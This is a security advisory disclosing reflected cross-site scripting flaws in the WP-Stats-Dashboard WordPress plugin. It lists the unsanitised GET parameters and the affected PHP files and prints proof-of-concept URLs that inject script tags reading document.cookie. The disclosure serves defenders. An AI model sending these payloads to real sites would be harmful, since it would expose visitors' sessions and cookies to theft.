Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in \
WP-Stats-Dashboard, which can be exploited to perform cross-site scripting attacks.

1) Input passed via the "icon", "url", "name", "type", "code", "username" GET \
parameters to /wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php \
is not properly sanitised before being returned to the user. This can be exploited to \
execute arbitrary HTML and script code in a user's browser session in context of \
affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
icon=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
url=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
name=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
type=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
code=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E \
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php? \
code=200&username=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is \
enabled.

2) Input passed via the "onchange" GET parameter to \
/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select-trend.php is not \
properly sanitised before being returned to the user. This can be exploited to \
execute arbitrary HTML and script code in a user's browser session in context of \
affected website.

The following PoC code is available:

http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select-trend.php \
?onchange=%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Successful exploitation of the vulnerabilities requires that "register_globals" is \
enabled.

3) Input passed via the "submenu" GET parameter to \
/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submenu.php is not properly \
sanitised before being returned to the user. This can be exploited to execute \
arbitrary HTML and script code in a user's browser session in context of affected \
website.

The following PoC code is available:

http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submenu.php?subm \
enu[%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E]

Successful exploitation of the vulnerabilities requires that "register_globals" is \
enabled.
